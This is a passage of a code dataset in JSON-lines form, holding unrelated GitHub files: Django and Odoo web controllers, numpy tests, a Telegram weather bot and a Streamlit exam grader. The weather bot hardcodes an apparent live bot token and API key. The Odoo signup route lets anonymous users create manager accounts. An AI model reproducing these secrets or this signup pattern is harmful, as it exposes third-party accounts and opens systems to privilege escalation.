| float:\n \"\"\"\n Regex to extract wrecked floats: https://stackoverflow.com/a/385597\n Checked against: https://regex101.com/\n \"\"\"\n try:\n return float(x)\n except ValueError:\n re_float = re.compile(\n r\"\"\"(?x)\n ^\n \\D* \t\t# first, match an optional sign *and space*\n ( # then match integers or f.p. mantissas:\n \\d+ # start out with a ...\n (\n \\.\\d* # mantissa of the form a.b or a.\n )? # ? takes care of integers of the form a\n |\\.\\d+ # mantissa of the form .b\n )\n ([eE][+-]?\\d+)? # finally, optionally match an exponent\n $\"\"\"\n )\n try:\n x = re_float.match(x).group(1)\n x = re.sub(r\"[^e0-9,-\\.]\", \"\", str(x))\n return locale.atof(x)\n except (ValueError, AttributeError):\n return np.nan\n except TypeError:\n return np.nan\n\n def parse_int(self, x: str | int | float) -> np.nan | int:\n try:\n return int(str(x).split(\".\")[0])\n except ValueError:\n return None\n\n def parse_string(self, x: str) -> None | str:\n x = str(x).replace(\"\\n\", \" \").replace(\"\\r\", \"\").replace(\"\\t\", \"\").replace(\"\\\\\", \"\").strip()\n x = \" \".join(str(x).split())\n if x and x[0] == \"'\":\n x = x[1:]\n if not x:\n return None\n return x\n\n def parse_bool(self, x: str) -> bool:\n if str(x).strip().lower() == \"true\":\n return True\n if str(x).strip().lower() == \"false\":\n return False\n return np.nan\n\n def parse_string_list(self, x: str) -> List[str]:\n \"\"\"Coerce a column, which should contain a list of strings, from literal to actual.\"\"\"\n if not isinstance(x, str):\n return x\n x = ast.literal_eval(x)\n x = [t.strip() for t in x]\n if not x:\n return None\n return x\n","repo_name":"whythawk/whyqd","sub_path":"whyqd/parsers/datasource.py","file_name":"datasource.py","file_ext":"py","file_size_in_byte":30583,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"54"} +{"seq_id":"24002782559","text":"from django.shortcuts import render\nfrom .models import Ciudad, Lista, Producto, Region, Tienda\nfrom django.views.generic import ListView, CreateView, UpdateView\nfrom django.urls import reverse_lazy\nimport json\nimport requests\nfrom django.template.loader import get_template\nfrom django.http import HttpResponse\nfrom .forms import TiendaForm\nfrom django.db.models import Sum\nfrom django.db.models import Count\nfrom django.db.models import Q\n\n##\n\n\ndef index(request):\n template = 'core/home.html'\n return render(request, template)\n\n# Consumo API listar Producto\n\n\ndef ListarProducto(request):\n resp = requests.get(\"http://127.0.0.1:8000/api/lista_producto/\")\n lista = resp.json()\n return render(request, 'core/listaproductoapi.html', {'lista': lista})\n\n# CRUD PRODUCTO\n\n\ndef formularioProducto(request):\n ti = Tienda.objects.all()\n li = Lista.objects.all()\n resp = False\n if request.POST:\n idp = request.POST.get('idProducto')\n no = request.POST.get('nombre')\n cost = request.POST.get('costoPresupuesto')\n costr = request.POST.get('costoReal')\n nos = request.POST.get('notas')\n idt = request.POST.get('idTienda')\n idl = request.POST.get('idLista')\n obj_tienda = Tienda.objects.get(idTienda=idt)\n obj_lista = Lista.objects.get(idLista=idl)\n pr = Producto(\n idProducto=idp,\n nombre=no,\n costoPresupuesto=cost,\n costoReal=costr,\n notas=nos,\n idTienda=obj_tienda,\n idLista=obj_lista\n )\n pr.save()\n resp = True\n return render(request, 'core/formularioproducto.html', {'respuesta': resp, 'tienda': ti, 'lista': li})\n\n\ndef actualizarProducto(request):\n pr = Producto.objects.all()\n mensaje = False\n if request.POST:\n accion = request.POST.get(\"btnAccion\", \"\")\n if accion == \"Modificar\":\n idp = request.POST.get('idProducto')\n prod = Producto.objects.get(idProducto=idp)\n mensaje = False\n return render(request, 'core/actualizarproducto.html', {'productos': pr, 'prod': prod, 'mensaje': mensaje})\n if accion == \"Editar\":\n idp = request.POST.get('idProducto')\n prod = Producto.objects.get(idProducto=idp)\n no = request.POST.get('nombre')\n cost = request.POST.get('costoPresupuesto')\n costr = request.POST.get('costoReal')\n nos = request.POST.get('notas')\n prod.nombre = no\n prod.costoPresupuesto = cost\n prod.costoReal = costr\n prod.notas = nos\n prod.save()\n mensaje = True\n return render(request, 'core/actualizarproducto.html', {'productos': pr, 'mensaje': mensaje})\n return render(request, 'core/actualizarproducto.html', {'productos': pr})\n\n\ndef cambiarEstado(request):\n pr = Producto.objects.all()\n mensaje = False\n if request.POST:\n accion = request.POST.get(\"btnAccion\", \"\")\n if accion == \"Cambiar estado\":\n idp = request.POST.get('idProducto')\n prod = Producto.objects.get(idProducto=idp)\n if prod.estado == \"Pendiente\":\n prod.estado = \"Comprado\"\n prod.save()\n resp = requests.get(\n \"http://127.0.0.1:8000/api/lista_producto/\")\n lista = resp.json()\n return render(request, 'core/listaproductoapi.html', {'lista': lista})\n if prod.estado == \"Comprado\":\n prod.estado = \"Pendiente\"\n prod.save()\n resp = requests.get(\n \"http://127.0.0.1:8000/api/lista_producto/\")\n lista = resp.json()\n return render(request, 'core/listaproductoapi.html', {'lista': lista})\n return render(request, 'core/listaproductoapi.html', {'lista': lista})\n\n\ndef cambiarEstadoF(request):\n pr = Producto.objects.all()\n mensaje = False\n if request.POST:\n accion = request.POST.get(\"btnAccion\", \"\")\n if accion == \"Cambiar estadof\":\n idp = request.POST.get('idProducto')\n prod = Producto.objects.get(idProducto=idp)\n if prod.estado == \"Pendiente\":\n prod.estado = \"Comprado\"\n prod.save()\n idl = request.POST.get('idLista')\n prod = Producto.objects.filter(idLista=idl)\n return render(request, 'core/listarproductofiltro.html', {'productos': prod,'idl':idl})\n if prod.estado == \"Comprado\":\n prod.estado = \"Pendiente\"\n prod.save()\n idl = request.POST.get('idLista')\n prod = Producto.objects.filter(idLista=idl)\n return render(request, 'core/listarproductofiltro.html', {'productos': prod,'idl':idl})\n return render(request, 'core/listarproductofiltro.html', {'productos': prod})\n\n\ndef listarProductoFiltro(request):\n idl = request.POST.get('idLista')\n prod = Producto.objects.filter(idLista=idl)\n return render(request, 'core/listarproductofiltro.html', {'productos': prod, 'idl':idl})\n\n\ndef eliminarProducto(request):\n lista = Producto.objects.all()\n resp = False\n if request.POST:\n idp = request.POST.get('idProducto')\n pro = Producto.objects.get(idProducto=idp)\n pro.delete()\n resp = True\n return render(request, 'core/listaproducto.html', {'lista': lista, 'respuesta': resp})\n return render(request, 'core/listaproducto.html', {'lista': lista, 'respuesta': resp})\n\n##############################################################################################################\n\n# CRUD LISTA\n\n\ndef formularioLista(request):\n resp = False\n if request.POST:\n idl = request.POST.get('idLista')\n no = request.POST.get('nombre')\n cor = request.POST.get('correo')\n li = Lista(\n idLista=idl,\n nombre=no,\n correo=cor\n )\n li.save()\n resp = True\n return render(request, 'core/formulariolista.html', {'respuesta': resp})\n\n\ndef actualizarLista(request):\n li = Lista.objects.all()\n mensaje = False\n if request.POST:\n accion = request.POST.get(\"btnAccion\", \"\")\n if accion == \"Modificar\":\n idl = request.POST.get('idLista')\n lista = Lista.objects.get(idLista=idl)\n mensaje = False\n return render(request, 'core/actualizarlistas.html', {'listas': li, 'lista': lista, 'mensaje': mensaje})\n if accion == \"Editar\":\n idl = request.POST.get('idLista')\n lista = Lista.objects.get(idLista=idl)\n no = request.POST.get('nombre')\n lista.nombre = no\n lista.save()\n mensaje = True\n return render(request, 'core/actualizarlistas.html', {'listas': li, 'mensaje': mensaje})\n return render(request, 'core/actualizarlistas.html', {'listas': li})\n\n\ndef listarLista(request):\n lista = Lista.objects.all()\n total_pre = Lista.objects.annotate(\n sum_prod=Sum('producto__costoPresupuesto'))\n total_rea = Lista.objects.annotate(sum_prod=Sum('producto__costoReal'))\n pubs = Lista.objects.annotate(num_prod=Count('producto'))\n compr = Lista.objects.annotate(comprados=Count(\n 'producto', filter=Q(producto__estado='Comprado')))\n return render(request, 'core/listarlistas.html', {'lista': lista, 'total_pre': total_pre, 'total_rea': total_rea, 'pubs': pubs, 'compr': compr})\n\n\ndef eliminarLista(request):\n lista = Lista.objects.all()\n resp = False\n if request.POST:\n idl = request.POST.get('idLista')\n li = Lista.objects.get(idLista=idl)\n li.delete()\n resp = True\n return render(request, 'core/listarlistas.html', {'lista': lista, 'respuesta': resp})\n return render(request, 'core/listarlistas.html', {'lista': lista, 'respuesta': resp})\n\n##############################################################################################################\n\n# CRUD TIENDA\n\n\nclass TiendaListView(ListView):\n model = Tienda\n content_object_name = 'tiendas'\n\n\nclass TiendaCreateView(CreateView):\n model = Tienda\n form_class = TiendaForm\n success_url = reverse_lazy('tienda_changelist')\n\n\nclass TiendaUpdateView(UpdateView):\n model = Tienda\n form_class = TiendaForm\n success_url = reverse_lazy('tienda_changelist')\n\n\ndef load_cities(request):\n idreg = request.GET.get('idRegion')\n ciudades = Ciudad.objects.filter(idRegion=idreg).order_by('descripcion')\n return render(request, 'core/city_dropdown_list_options.html', {'ciudades': ciudades})\n\n##############################################################################################################\n\n\ndef base_layout(request):\n template = 'core/base.html'\n return render(request, template)\n\n\ndef manifest(request):\n return render(request, 'core/manifest.json')\n\n\ndef charcha_serviceworker(request, js):\n template = get_template('serviceworker.js')\n html = template.render()\n return HttpResponse(html, content_type=\"application/x-javascript\")\n","repo_name":"Dual-ll/TiendasOfertas","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9130,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23201654958","text":"#This is the test for excercise 4 (before called as 3), which is called in the cw1 directory 'ex3.py'\nfrom numpy import random\nimport numpy as np\nimport copy\nimport pytest\nimport cla_utils\nimport cw1\nfrom cw1.ex3 import multiplicationQstarb, solvels\nimport ex1\nfrom ex3 import householderVR\n\n@pytest.mark.parametrize('m', [20, 40, 87])\ndef test_householderVR(m):\n random.seed(1878*m)\n A = random.randn(m, m)\n #I am making a copy of A\n A0 = copy.deepcopy(A) \n Rv = householderVR(A0, None)\n #Now I get rid of the v column vectors using the builtin numpy function\n R = np.triu(Rv) \n #Now the tests\n assert(np.allclose(R, np.triu(R))) #1\n assert(np.linalg.norm(np.dot(R.T, R) - np.dot(A.T, A)) < 1.0e-6) #2\n \n #Now I have to recreate Q from Rv\n m = Rv.shape[0]\n Q = np.identity(m)\n for i in range(m) :\n v = Rv[i:,i] / np.linalg.norm(Rv[i:,i])\n Q[i:,:]=Q[i:,:]-2 * np.outer(v,np.dot(v,Q[i:,:]))\n \n # check orthonormality\n assert(np.linalg.norm(np.dot(Q.transpose(), Q) - np.identity(m)) < 1.0e-6) #3\n assert(np.linalg.norm(np.dot(Q.transpose(), R) - A) < 1.0e-6)\n\n\n@pytest.mark.parametrize('m, n', [(20, 7), (40, 13), (87, 9)])\ndef test_Qb(m,n): \n random.seed(1878*m)\n A = random.randn(m, n)\n A0 = copy.deepcopy(A) \n R_v = householderVR(A0)\n # I generate a random b\n b = random.randn(m)\n b_0 = copy.deepcopy(b)\n #Now I compute the multiplication Q*b\n Qb = multiplicationQstarb(R_v,b)\n #I use the builtin numpy factorisation\n Q = np.linalg.qr(A,mode='complete')[0]\n #Now I implement Q*b starting from the Q obtained with the numpy function\n realQ= np.dot(Q.transpose().conjugate(),b_0) \n assert(np.linalg.norm(realQ-Qb)<1.0e-5)\n\n@pytest.mark.parametrize('m, n', [(20, 7), (40, 13), (87, 9)])\ndef test_solvels(m,n) :\n random.seed(1878*m)\n A = random.randn(m, n)\n A_0 = copy.deepcopy(A) \n R_v = householderVR(A_0) \n #I generate a random vector\n b = random.randn(m)\n b_0 = copy.deepcopy(b) \n #real x with a numpy builtin function\n realx = np.linalg.lstsq(A, b,rcond=-1)\n x = solvels(R_v,b_0)\n #now the test\n assert(np.linalg.norm(x-realx[0])<1.0e-6) \n \n \n \n \n","repo_name":"ljmj16/Academic","sub_path":"Computational Linear Algebra/cw1/testex3.py","file_name":"testex3.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35780210560","text":"# -*- coding:utf-8 -*-\n\nimport os\nimport re\nimport sys\nfrom itertools import izip\n\nfrom gzopen import gzopen\n\ndef merge(fnamelist):\n flist = [gzopen(fname) for fname in fnamelist]\n\n # Get names and print header.\n idexpr = r'-(\\d{3}[a-z]?)'\n IDs = [re.search(idexpr, fname).group(1) for fname in fnamelist]\n sys.stdout.write('seqname\\tstart\\tend\\t' + '\\t'.join(IDs) + '\\n')\n\n # Iterate through all the files at the same time with 'izip'.\n for linetuple in izip(*flist):\n # Extract seqname, start and end from first file.\n mapping = '\\t'.join(linetuple[0].split()[:3])\n # Extract 4-th column and print.\n entries = '\\t'.join([line.split()[3] for line in linetuple])\n sys.stdout.write(mapping + '\\t' + entries + '\\n')\n\n for f in flist:\n f.close()\n\n\nif __name__ == '__main__':\n merge(sys.argv[1:])\n","repo_name":"rlim19/DumpScripts","sub_path":"merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34428299956","text":"import requests\nimport telebot\n\nAPI_KEY = \"1949608059:AAGlFyBdr8FW1d9U7kQB-_HFxk8ncAA3_xs\"\nbot = telebot.TeleBot(API_KEY)\n\n\n@bot.message_handler(commands=[\"start\", \"hi\", \"hello\", \"heythere\", \"hey\"])\ndef Hi(message):\n bot.send_message(message.chat.id, f\"Hi {message.from_user.first_name}!\")\n\n\n@bot.message_handler(commands=[\"help\"])\ndef start(message):\n bot.send_message(\n message.chat.id,\n \"Hi I'm Sara.I'm a weather bot.I can provide the weather informations of the city you want\",\n )\n\n\n@bot.message_handler(commands=[\"urname\", \"yourname\"])\ndef sara(message):\n bot.send_message(message.chat.id, \"I'm Sara\")\n\n\n@bot.message_handler(func=lambda message: True)\ndef weather(message):\n try:\n cid = message.chat.id\n mid = message.message_id\n message_text = message.text\n user_id = message.from_user.id\n user_name = message.from_user.first_name\n weather_link = f\"http://api.openweathermap.org/data/2.5/weather?appid=8e5d5c219dd7b7df4db4f188d6f99cb0&q={message_text}\"\n data = requests.get(weather_link).json()\n one = data.get(\"coord\")\n weather = data[\"weather\"]\n\n for i in weather:\n main = i.get(\"main\")\n description = i.get(\"main\")\n\n main = data.get(\"main\")\n min = main.get(\"temp_min\")\n max = main.get(\"temp_max\")\n pressure = main.get(\"pressure\")\n humidity = main.get(\"humidity\")\n\n name = data.get(\"name\")\n\n sys = data.get(\"sys\")\n country = sys.get(\"country\")\n\n weather_data = f\"min_temp:{min} \\n max_temp:{max} \\n description:{description} \\n pressure:{pressure} \\n humidity:{humidity} \\n name:{name} \\n country:{country}\"\n\n bot.send_message(message.chat.id, weather_data)\n except KeyError:\n bot.send_message(message.chat.id, \"Sorry i can't understand what you said.\")\n\n\nbot.polling()\n","repo_name":"velushree/weatherbot","sub_path":"alpha.py","file_name":"alpha.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2561322493","text":"import streamlit as st\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport cv2\r\nimport math\r\nimport numpy as np\r\nimport random\r\nfrom utils import *\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nfrom grader import *\r\nfrom tkinter import Tk \r\nfrom tkinter.filedialog import askopenfilename, askdirectory\r\nfrom tqdm import tqdm\r\nimport smtplib\r\nimport json\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.image import MIMEImage\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv()\r\nEMAIL = os.getenv('EMAIL')\r\nPASSW = os.getenv('PASSW')\r\n\r\n# print(\"Choose folder:\")\r\n# path = askdirectory()\r\npath = './testscan'\r\nfiles = os.listdir(path)\r\n# dapan = f\"{path}/_dapan.png\"\r\n\r\n# dapan_infors = get_informations(dapan)\r\nbailam = []\r\nthresh = []\r\nfor file in files:\r\n if ('_dapan' not in file):\r\n id, quesid, answer, th = get_informations(f'{path}/{file}', require_thresh=True)\r\n bailam.append((id, quesid, answer))\r\n thresh.append(th)\r\n\r\nfile = open(\"answers.txt\")\r\ndata = file.read()\r\nfile.close()\r\ndata = data.split('\\n')\r\n\r\ndapan_vector = []\r\nfor line in data:\r\n dapan_vector.append(line.split(' ')[-1])\r\nbailam_matrix = []\r\nfor _ in bailam:\r\n bailam_matrix.append(_[2])\r\ndapan_vector = np.array([dapan_vector])\r\nbailam_matrix = np.array(bailam_matrix)\r\n\r\n# JUST FOR TESTING\r\n\r\n# file = open(\"answers.csv\", \"r\", encoding='utf8')\r\n# data = file.read()\r\n# file.close()\r\n# bailam = []\r\n# bailam_matrix = []\r\n# for i in data.split('\\n')[2:]:\r\n# hehe = tuple(i[i.find('.com,')+5:i.find(' /')].split(','))\r\n# content = i[i.find('1200,')+5:i.find(',,')].split(',')\r\n# bailam_matrix.append(i[i.find('1200,')+5:i.find(',,')].split(','))\r\n# bailam.append((hehe[0], hehe[1], content))\r\n# bailam_matrix = np.array(bailam_matrix)\r\n# dapan_vector = np.array([bailam_matrix[0, :]])\r\n# bailam = bailam[1:]\r\n# bailam_matrix = bailam_matrix[1:, :]\r\n\r\n# END JUST FOR TESTING\r\n\r\ndef cal_p(dapan_vector, bailam_matrix):\r\n matrix = bailam_matrix.copy()\r\n n = matrix.shape[0]\r\n p = []\r\n for i in range(matrix.shape[0]):\r\n matrix[i] = matrix[i] == dapan_vector\r\n for i in range(dapan_vector.shape[1]):\r\n p.append(sum(matrix[:, i] == 'T') / n)\r\n return p\r\ndef f(p_):\r\n return math.log((p_+0.001)/(1-p_ + 0.001))\r\ndef irt(p):\r\n weights = []\r\n for i in p:\r\n weights.append(f(i))\r\n weights = list(map(lambda x : x - (sum(weights)/len(p)), weights))\r\n mx = np.max(weights)\r\n return list(map(lambda x : x * (3 / mx) + 10, weights))\r\n\r\np_ = cal_p(dapan_vector, bailam_matrix)\r\n\r\n## NORMAL\r\n# van_p = p_[:40]\r\n# toan_p = p_[40:70]\r\n# kh_p = p_[70:]\r\n# van_irt = irt(van_p)\r\n# toan_irt = irt(toan_p)\r\n# kh_irt = irt(kh_p)\r\n# irt_ = van_irt + toan_irt + kh_irt\r\n\r\n# # final_point = (bailam_matrix == dapan_vector)@np.array(irt_)\r\n# van_points = (bailam_matrix[:, :40] == dapan_vector[:, :40])@np.array(van_irt)\r\n# toan_points = (bailam_matrix[:, 40:70] == dapan_vector[:, 40:70])@np.array(toan_irt)\r\n# kh_points = (bailam_matrix[:, 70:] == dapan_vector[:, 70:])@np.array(kh_irt)\r\n\r\n# socaudung = sum((bailam_matrix == dapan_vector).T)\r\n\r\n## END NORMAL\r\n## SPECIAL\r\n\r\nvan_p = p_[:30]\r\ntoan_p = p_[30:60]\r\nkh_p = p_[60:]\r\nvan_irt = irt(van_p)\r\ntoan_irt = irt(toan_p)\r\nkh_irt = irt(kh_p)\r\nirt_ = van_irt + toan_irt + kh_irt\r\n\r\n# final_point = (bailam_matrix == dapan_vector)@np.array(irt_)\r\nvan_points = (bailam_matrix[:, :30] == dapan_vector[:, :30])@np.array(van_irt)\r\ntoan_points = (bailam_matrix[:, 30:60] == dapan_vector[:, 30:60])@np.array(toan_irt)\r\nkh_points = (bailam_matrix[:, 60:] == dapan_vector[:, 60:])@np.zeros(60)\r\n\r\nsocaudung = sum((bailam_matrix[:,:60] == dapan_vector[:, :60]).T)\r\n\r\n## END SPECIAL\r\n\r\nfor i in range(len(van_points)):\r\n bailam[i] += (np.round(van_points[i], 2), np.round(toan_points[i], 2), np.round(kh_points[i], 2))\r\n\r\nst.title(\"Thi thử đánh giá năng lực\")\r\n\r\ndf = {\"ID\" : [], \"Question_ID\" : [], \"Correct\" : [], \"Languages\" : [], \"Mathematics\" : [], \"Problems solving\" : [], \"Total\" : []}\r\nfor _, i in enumerate(bailam):\r\n df[\"ID\"].append(i[0])\r\n df[\"Question_ID\"].append(i[1])\r\n df[\"Correct\"].append(socaudung[_])\r\n df[\"Languages\"].append(i[3])\r\n df[\"Mathematics\"].append(i[4])\r\n df[\"Problems solving\"].append(i[5])\r\n # df[\"Total\"].append(i[3] + i[4] + i[5])\r\n df[\"Total\"].append(i[3] + i[4])\r\n\r\nst.table(pd.DataFrame(df))\r\nIDs = df[\"ID\"]\r\nview = st.selectbox(\"chọn bài cần xem:\", tuple(IDs))\r\n\r\ndef get_answer_sheet(bailam, IDs, id, figname = None):\r\n student = bailam[IDs.index(id)]\r\n neural = {\"x\" : [], \"y\" : []}\r\n right = {\"x\" : [], \"y\" : []}\r\n wrong = {\"x\" : [], \"y\" : []}\r\n begin_x = 0\r\n DAPAN = ['A', 'B', 'C', 'D']\r\n def trung(dapan, x, y, delta = 1):\r\n for i, d in enumerate(DAPAN):\r\n if (d == dapan):\r\n right[\"x\"].append(x + i*delta)\r\n right[\"y\"].append(y)\r\n else:\r\n neural[\"x\"].append(x + i*delta)\r\n neural[\"y\"].append(y)\r\n \r\n def truot(bailam, dapan, x, y, delta = 1):\r\n for i, d in enumerate(DAPAN):\r\n if (d == bailam):\r\n wrong[\"x\"].append(x + i*delta)\r\n wrong[\"y\"].append(y)\r\n elif (d == dapan):\r\n right[\"x\"].append(x + i*delta)\r\n right[\"y\"].append(y)\r\n else:\r\n neural[\"x\"].append(x + i*delta)\r\n neural[\"y\"].append(y)\r\n\r\n def sobaodanh(sbd):\r\n begin_x = 29\r\n begin_y = 42\r\n for x in range(6):\r\n for y in range(10):\r\n neural[\"x\"].append(begin_x - x)\r\n neural[\"y\"].append(begin_y - y)\r\n for x in range(6):\r\n k = int(sbd[x])\r\n right[\"x\"].append(begin_x - (6-x) + 1)\r\n right[\"y\"].append(begin_y - k)\r\n\r\n def made(made):\r\n begin_x = 33\r\n begin_y = 42\r\n for x in range(3):\r\n for y in range(10):\r\n neural[\"x\"].append(begin_x - x)\r\n neural[\"y\"].append(begin_y - y)\r\n for x in range(3):\r\n k = int(made[x])\r\n right[\"x\"].append(begin_x - (3-x) + 1)\r\n right[\"y\"].append(begin_y - k)\r\n\r\n fig, ax = plt.subplots(1, 1, figsize = (5, 7))\r\n begin_y = 30\r\n num = 1\r\n for bailam, dapan in zip(student[2], dapan_vector[0, :]):\r\n if (begin_x >= 15):\r\n truot('E', 'E', begin_x, begin_y)\r\n plt.text(begin_x-1, begin_y-0.3, str(num), horizontalalignment = 'right', color = 'red', fontfamily = 'monospace')\r\n num += 1\r\n elif (bailam == dapan):\r\n trung(bailam, begin_x, begin_y)\r\n plt.text(begin_x-1, begin_y-0.3, str(num), horizontalalignment = 'right', fontfamily = 'monospace')\r\n num += 1\r\n else:\r\n truot(bailam, dapan, begin_x, begin_y)\r\n plt.text(begin_x-1, begin_y-0.3, str(num), horizontalalignment = 'right', color = 'red', fontfamily = 'monospace')\r\n num += 1\r\n begin_y -= 1\r\n if (begin_y == 0):\r\n begin_x += 10\r\n begin_y = 30\r\n sobaodanh(student[0])\r\n made(student[1])\r\n\r\n x1 = -2\r\n x2 = 23\r\n y1 = 42.15\r\n y2 = 32.8\r\n ax.plot([x1, x2, x2, x1, x1], [y1, y1, y2, y2, y1], color = 'black')\r\n ax.scatter(neural[\"x\"], neural[\"y\"], color = \"black\", alpha=0.1)\r\n ax.scatter(right[\"x\"], right[\"y\"], color = \"blue\")\r\n ax.scatter(wrong[\"x\"], wrong[\"y\"], color = \"red\")\r\n ax.axis(\"off\")\r\n plt.xlim([-4, 35])\r\n plt.ylim([0, 44])\r\n if (figname != None):\r\n plt.savefig(f'{student[0]}.png', dpi=600, bbox_inches='tight')\r\n return fig\r\n \r\nst.pyplot(get_answer_sheet(bailam, IDs, view))\r\n# id1, subid1, ans1, thresh = get_informations(f'{path}/{bailam[IDs.index(view)][0]}.jpg', require_thresh=True)\r\nfig, ax = plt.subplots(1, 1, figsize = (10, 12))\r\nax.imshow(thresh[IDs.index(view)], cmap ='gray')\r\nax.axis('off')\r\nst.pyplot(fig)\r\n\r\ndef send_email(subject, body, sender, recipients, password, id):\r\n msg = MIMEMultipart()\r\n msg['Subject'] = subject\r\n msg['From'] = sender\r\n msg['To'] = ', '.join(recipients)\r\n with open(f'{id}.png', 'rb') as f:\r\n img_data = f.read()\r\n image = MIMEImage(img_data, name=os.path.basename(f'{id}.png'))\r\n msg.attach(MIMEText(body))\r\n msg.attach(image)\r\n with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:\r\n smtp_server.login(sender, password)\r\n smtp_server.sendmail(sender, recipients, msg.as_string())\r\n print(f\"Message sent to {recipients[0]}!\")\r\n\r\nif st.button(\"Send all results!\"):\r\n subject = \"[noreply] Kết quả thi thử đánh giá năng lực!\"\r\n sender = EMAIL\r\n password = PASSW\r\n print(sender, password)\r\n file = open(\"contestants.json\")\r\n contestants = json.load(file)\r\n file.close()\r\n for i in tqdm(range(len(list(IDs))), desc = 'Sending email ...'):\r\n student = bailam[i]\r\n body = f\"Kết quả làm bài của thí sinh {student[0]}|{student[1]} \\nSố câu đúng: {socaudung[i]} \\nĐiểm phần ngôn ngữ: {student[3]} \\nĐiểm phần toán: {student[4]} \\nĐiểm phần xử lý vấn đề: {student[5]} \\nTổng điểm: {student[3] + student[4] + student[5]}\"\r\n recipients = []\r\n try:\r\n recipients.append(contestants[student[0]])\r\n print(body, recipients)\r\n except:\r\n print(f\"Cannot find email of contestant {student[0]}!\")\r\n continue\r\n\r\n fig = get_answer_sheet(bailam, IDs, student[0], 1)\r\n send_email(subject, body, sender, recipients, password, student[0])\r\n","repo_name":"nprm1243/DGNL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33947397828","text":"from odoo import http\nfrom odoo.http import request, Controller\nfrom odoo.addons.web.controllers.main import Home\nfrom odoo.addons.portal.controllers.portal import CustomerPortal\n\n\nclass Home(Home):\n def _login_redirect(self, uid, redirect=None):\n if request.session.uid and request.env['res.users'].sudo().browse(request.session.uid).has_group('manisha_trainee_lunchbox.group_manager'):\n return '/web/'\n if request.session.uid and request.env['res.users'].sudo().browse(request.session.uid).has_group('base.group_user'):\n return '/web/'\n if request.session.uid and request.env['res.users'].sudo().browse(request.session.uid).has_group('base.group_portal'):\n return '/index/'\n return super(DataShow, self)._login_redirect(uid, redirect=redirect)\n\n\nclass DataShow(Controller):\n @http.route('/index/', auth='public', type=\"http\", csrf=False)\n def index(self, **kw):\n data = request.env['product.data.product'].sudo().search([])\n meal = request.env['meal.provider.detail'].sudo().search([])\n return request.render(\"manisha_trainee_lunchbox.food_template\", {'data': data, 'meal': meal})\n\n @http.route(['/orderfood/'], auth='public', type=\"http\", csrf=False)\n def orderfood(self, m_id=None, **kw):\n meal = request.env['meal.provider.detail'].sudo()\n if m_id:\n # data = request.env['product.data.product'].sudo().browse([m_id])\n meal = meal.browse([m_id])\n return request.render(\"manisha_trainee_lunchbox.order_template\", {'meal': meal})\n\n @http.route(['/order///'], auth='public', type='http', csrf=False)\n def order(self, m_id=None, p_id=None, **kw):\n if not request.session.uid:\n return http.local_redirect('/company_register/')\n\n if m_id and p_id:\n meal_provider = request.env['meal.provider.detail'].sudo().browse([\n m_id])\n product_data = request.env['product.data.product'].sudo().browse([p_id])\n return request.render(\"manisha_trainee_lunchbox.myorder_template\", {\"mp\": meal_provider,\n \"pd\": product_data})\n\n\nclass PortalAccount(CustomerPortal):\n @http.route('/company_register/', auth='public', type='http', csrf=False, website=True)\n def manager_form(self, **kw):\n if request.httprequest.method == 'POST':\n if request.params.get('optradio') == '8':\n request.env['customer.detail'].sudo().create({\n 'name': request.params.get('username'),\n 'email': request.params.get('email'),\n 'password': request.params.get('password'),\n 'contact': request.params.get('contactno'),\n 'address': request.params.get('address'),\n })\n\n if request.params.get('optradio') == '1':\n partner = request.env['res.partner'].sudo().create({\n 'name': request.params.get('username'),\n 'email': request.params.get('username'),\n })\n\n currency = request.env['res.company'].browse(\n request.params.get('currency_id'))\n\n company = request.env['res.company'].sudo().create({\n 'name': request.params.get('companyname'),\n 'currency_id': currency.id,\n 'partner_id': partner.id,\n })\n\n request.env['res.users'].sudo().create({\n 'login': request.params.get('username'),\n 'password': request.params.get('password'),\n 'name': request.params.get('username'),\n 'company_id': company.id,\n 'company_ids': [(4, company.id)],\n 'groups_id': [(6, 0, [request.env.ref('manisha_trainee_lunchbox.group_manager').id])],\n })\n\n return request.redirect('/web/login')\n data = request.env['res.currency'].sudo().search([])\n return request.render('manisha_trainee_lunchbox.company_register', {\"data\": data})\n","repo_name":"Manisha5897/manisha_trainee_lunchbox","sub_path":"controllers/portal.py","file_name":"portal.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19907628909","text":"import json\r\nimport pymongo\r\nimport re\r\n\r\nmongoClient = pymongo.MongoClient(\"mongodb:///\")\r\nmydb = mongoClient[\"mlbdatabase\"]\r\nplayersCol = mydb[\"players\"]\r\nplayerList = []\r\nplayerRanks = []\r\nregx = re.compile(\"^[0-1][0-9][0-9]\",re.IGNORECASE)\r\nfor x in range(0,200):\r\n myquery = {\"ranking\": x}\r\n\r\n mydoc = playersCol.find(myquery,{\"name\":1,\"ranking\":1})\r\n\r\n for x in mydoc:\r\n playerList.append(x)\r\n\r\nprint(playerList)\r\n","repo_name":"usrfrann/MLBHittingRankings","sub_path":"mlbgettopplayers.py","file_name":"mlbgettopplayers.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26567425937","text":"def solution(t, p):\n answer = 0\n for i in range(len(t)-len(p)+1):\n num = t[i:len(p)+i]\n if int(num) <= int(p):\n answer += 1\n return answer\n\n\nprint(solution(\"10203\", 